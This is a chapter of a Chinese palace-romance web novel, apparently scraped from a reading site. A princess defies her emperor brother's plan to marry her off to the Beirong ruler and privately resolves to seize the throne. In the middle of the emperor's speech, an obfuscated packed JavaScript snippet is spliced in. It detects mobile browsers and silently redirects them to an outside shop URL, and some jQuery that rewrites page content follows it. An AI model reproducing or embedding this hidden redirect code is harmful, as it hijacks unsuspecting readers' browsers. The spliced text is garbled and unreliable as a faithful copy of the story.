默认冷灰
24号文字
方正启体

2. 你别任性

作者:蓟荷本书字数:K更新时间:
    翌日醒来的时候,枕边已经空了。


    骆淮揉了揉眼睛,一晚上没太睡好。


    梦里翻来覆去都是她和他吵架的片段,以及他那双清冷狭长的眼睛——他听完后,第一反应居然是对她发表了一通嘲笑!


    她刚要反驳他那句“殿下又一时兴起了?”,便听见他开始一桩桩一件件列举她的那些“心血来潮”。


    “十二岁,殿下结识云游的薛大家后嚷着要学筝,还指名要一把名叫‘金缕衣’的筝。臣托了在江南的族亲快马加鞭送过来,现在,那把筝怕是还在您书斋最底下的壁橱里吧。”


    “十五岁,殿下在云浮寺听僧人讲经,险些错过及笄礼,陛下和臣找了您三天,找到的时候,您眉目怔怔,说觉得自己是个有缘的,理应皈依佛门。”


    “……”


    他将她年少往事如数家珍娓娓道来,嗤笑道:“现在,殿下是又打算造您最心爱的兄长的反了?”


    如此不敬之言就这么轻易说了出来,她扑过去捂住他的嘴。


    对上他宛若外头的雪般的寒凉目光,她张口结舌,半晌才道:“……那都是很久以前了,我当时还那么小。”


    陆俨亭哦了一声。


    “那么两年前呢。”


    “两年前您刚和我定情,没过多久又说,不愿嫁我,要跟我断了。”


    “前后没超过一个月。”


    骆淮:“……”


    他又来了。


    “后来陛下大婚当夜,殿下又做了什么?”


    他停顿片刻,声音像从齿缝里挤出来似的,垂眼直直看着她。


    她仍不答。


    他冷着脸按她躺下,把她的被子往上掖了掖。


    “睡觉。明日还要上课。”


    ……


    门外传来轻轻的叩门声,是屠苏压着嗓子问道:


    “公主,辰时了。您……”


    “进来吧。”


    骆淮掀开帘子,平着声音说。


    屠苏端着铜盆进来,身后跟着两个小宫女,捧着巾帕和香膏。


    净面漱口完毕,小宫女们退了出去,屠苏为她披上今日要穿的衣裳。


    藕荷色的袄裙,领口绣着如意莲纹,不张扬,但处处清雅精致,衬着少女宛如出水芙蓉。


    “公主……”


    屠苏下意识地开口。


    骆淮正皱着眉对镜,审视自己的黑眼圈:“嗯?”


    屠苏艰涩地说:“昨夜……您和陆少傅,是……”


    她在外头听到了两人隐约的争吵声。


    她年长雪芽几岁,心思缜密,每逢陆少傅过来,公主都是让她值夜的。


    不过自打她知道了公主和陆少傅的事,她就一直对他颇有微词。


    那张脸好看是好看,但冷得像腊月的雪,看谁都一个温度,谁知道那副皮囊底下装的是什么心?


    公主美貌,上京皆知。又认识这么多年,知根知底。他若真心爱重,便该求陛下赐婚。


    现在这样,算什么呢。


    三月未见,不用心侍奉公主,居然……还敢与公主发生口角!


    屠苏见公主一直不说话,心中闷闷,手上却没停,帮骆淮扶正了头上有些歪斜的簪子。


    却突然听到镜前的少女淡漠道:“是他不识抬举。以后我不会见他了。”


    屠苏一呆,喜上眉梢:“真的?……太好了!”


    骆淮:“……”


    用过早膳,骆淮铺开雪白的宣纸。


    一边蘸墨,一边想着怎么逃掉下午的书画课。


    莫名其妙。


    没见过像陆俨亭这么爱翻旧账的人。


    他既如此委屈,又为何每次都随叫随到?


    好像他不乐意……她真的能强迫他一样。


    她绷直嘴唇,刚写了几行字,门外便传来小太监小心的声音。


    “长公主殿下,陛下下了朝,在紫宸殿有请。”


    啧。


    果然来了。


    *


    紫宸殿。


    到的时候,殿门外的内侍高声通传,骆淮提着裙摆跨过门槛,看见她的皇帝兄长坐在御案后,手里拿着一本奏折,正认真阅读着。


    殿内伺候的人都被遣了出去,只余这对大周朝最尊贵的兄妹。


    “长宁参见陛下。”


    她屈膝行礼。


    永初帝没抬头,翻了一页奏折:“起来吧。”


    骆淮站起来,在御案近前就是一坐。


    御案上的香炉里燃着浓重的香料,能看见烟缕细细的形状。


    折子又翻了一页,骆淮仍然不动声色。


    良久,永初帝终于把手里的纸张放下。


    “长宁。”


    “臣妹在。”


    “你昨夜又见陆俨亭了?”


    骆淮眨了眨眼,干脆地承认:“对啊。”


    永初帝骆灵均噎住了。


    他看着底下这个一母同胞的妹妹,两人从小一起长大,按理说应该是最亲近的人。


    但有时候她的脾气也实在令他琢磨不透。


    说她乖吧,她什么事都敢做;说她不乖吧,她认起来比谁都痛快。


    虽然,认完又继续做。


    皇帝沉默了一会儿,端起茶盏抿了一口,放下。


    “你过了年就十九了。”


    “该懂事了。”


    他拿起案上的另一份函件,往她那边推了推。


    骆淮扫了一眼,熟悉的封皮,熟悉的火漆印,熟悉的字体。


    北戎的国书。


    她没伸手去拿,抬头望向永初帝的衣袍:“这封信,几天前皇兄不是给臣妹看过了么?”


    “你当时说,给你几天时间考虑。”永初帝靠进软垫,“考虑得怎么样了?”


    骆淮搭着眼帘,没什么表情。


    永初帝看着那张脸,忽然想起一个时辰前,紫宸殿的地砖上跪着的另一个人。


    陆俨亭身着绯色的官袍,脸色苍白,背脊笔直。


    他当时正读着陆俨亭今早刚呈上来的奏对,寥寥几言,条陈同北戎和亲之弊——一弊岁贡虚增,国帑空耗;二弊长公主下嫁,大周颜面扫地;三弊……三弊写的是边防空虚,北戎若借和亲之名行渗透之实,三年内必成肘腋之患。


    陆俨亭昨天才刚回京,晚上又是宫宴,消息居然得知得如此之快,又在这么短时间内,拟出这么一封条理清晰的奏折。


    他放下折子看了陆俨亭一眼,便见青年倏地撩袍跪倒,额头触地。


    “臣,求陛下赐婚。”


    他当时喉咙里的茶水差点喷出来,赐婚?赐你和谁?长宁?你们二人如今的光景,还需要朕赐婚?


    何况长宁她……


    想到这里,永初帝摸了摸鼻子。


    他是不是有点太不近人情了?


    看着底下肤白如玉的妹妹,他放软了声音。


    “长宁。”


    骆淮又应了声:“臣妹在。”


    永初帝注视着她那双眼睛,是同母妃一样的又圆又亮,小时候撒娇的时候扑闪扑闪的,现在不撒娇了,还是扑闪扑闪的,只不过看他的时候多了点戒备。


    “阿淮,”他说,“帮帮哥哥。”


    永初帝语速缓而弱,“听说北戎那位大君年纪已大,长宁,你嫁过去,给咱们一点喘息的时间。等他死了……”


    他朝她露出一个讨好的笑。


    “等他死了,朕就让俨亭接你回来。”


    骆淮的眼睫毛匪夷所思地抖动了一下。


    永初帝没注意,继续道:“如今风气宽松,丧夫二嫁乃是稀松平常之事,你又是朕最心爱的胞妹。到时候,无需俨亭,朕也能乾纲独断,坐稳江山,必然给你们赐婚。”


    骆淮却问:“北戎那边,只给他们一个公主,就真的能让他们满意?”


    “会的。”


    永初帝的语气笃定。


    “北戎大君派使臣来,带着诚意,是想跟咱们结秦晋之好。”


    “南边的叛军打了半年才结束,要不是我派俨亭南下,用计分化了各部……”


    他慢慢地说着在脑子里过了几遍的话,“朝廷兵马折损


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347562|199544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甚重,为了稳定南疆的局势,朕又把北边三州的驻军调了一半过去。若这边又惹怒北戎,我朝即使勉力一战……终究劳民伤财。”


    “阿淮,哥哥当皇帝不容易。当年从那么多皇子里厮杀出来,每一步踩在刀尖上。”兄长推心置腹地说,“现在,朕初登基,位置还没坐热乎,又遇上叛乱。当年母妃走得早,哥哥每天殚精竭虑,就想着怎么护住你……”


    他的声音有些发涩。


    “现在,再帮帮哥哥。好不好?”


    骆淮定定望着他。


    御案后的人,峨冠博带,天家威仪,是她从小到大最熟悉的兄长。他比她大六岁,和陆俨亭同龄。


    小时候他把她抱在膝头,教她写字,她最先学会的三个字就是他的名字。后来他登基了,次日就封她为长公主,让她享受无尽尊荣。


    此刻,他神情哀恳,眼底含着泪花。


    与两年前,他撞见陆俨亭执着她的手,两人在案前一同作画后,当日深夜便抿着唇来寻她时的模样,几乎重合了。


    那时,他也是像现在这样,眼底微凉,郑重其事地对她说:


    “长宁,你别任性。”


    “我与俨亭交好,是为了让他辅佐我登上大位。我不能让他做你的驸马。”


    ……


    什么?


    任性?


    骆淮快要气晕了!


    现在回想起来,她真的是被他哄得团团转吧?放眼大周朝,还有哪位骆家人能像她这么善解人意又聪慧机灵?


    她主动和陆俨亭提了分开,她乖巧懂事为骆灵均攒名声。父皇还在的时候,她呕心沥血,卧薪尝胆,从人人可欺的冷宫孤女变成父皇最宠爱的长宁公主。凡是见到父皇,她哪次没旁敲侧击说兄长的好话?


    到头来,骆灵均就这么对她?


    她看明白了,什么兄妹情深,什么大局为重,都是哄她的!给她画饼呢!


    她才不要和亲!她也不要嫁老头,做寡妇!


    骆淮抬起头,冷笑着一字一顿:


    “要和亲,你自己去!”


    “……”


    骆灵均见妹妹神色似有动容,心下一松以为她接受了,却目瞪口呆地听到这样一句。


    “阿淮,你——”


    “臣妹胡言乱语,先行告退。”


    她连礼都懒得行了,草草福了一福,便欲旋身离去。


    “哦,还有。”


    她想起了什么,面无表情地回头,“我走进来的时候,你读的奏折,上下拿反了。”


    紫宸殿外的甬道很长,目之所及是红砖青瓦的深宫。


    是她生在这里,长在这里……她熟悉这个紫禁城的一切!


    骆淮牵唇,扭头看着已经离她稍远的牌匾。


    紫宸殿。


    君王住所。


    她盯着那三个字好一会儿,咯咯笑了起来。


    哥哥。


    既然我当初已经把陆俨亭让给你的权谋大业了。


    作为交换——不如就把皇位让给我吧。


    当然了。


    ——等她得了皇位,陆俨亭也还会是她的。


    骆淮想到昨夜陆俨亭看她的那副不相信的模样,眼底的墨色慢慢翻涌起来。


    他觉得她是心血来潮。


    他竟然不肯帮她?


    且等着吧。


    她会让他知道她想要的人,想要的东西,从来没有得不到的。她会让他让他刮目相看,让他恭顺地低下头,再不敢质疑她半点……


    骆淮深吸了一口气,转过拐角,眼前忽然一暗。


    她只来得及唔了一声,整个人便撞进一个高大的影子里。


    她微微一惊,阴影中出现陆俨亭的面容。他高她一个头有余,轻轻巧巧地就把她捞进怀里固定在身前。


    声音仍是不疾不徐的:“殿下是在想什么开心事,笑成这般,连路都不看了?”


    骆淮:“……”


    他正低眉看着她,衣襟冰冰凉凉,像是在这里等了好一会儿。


    骆淮:“你在这里又是做什么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)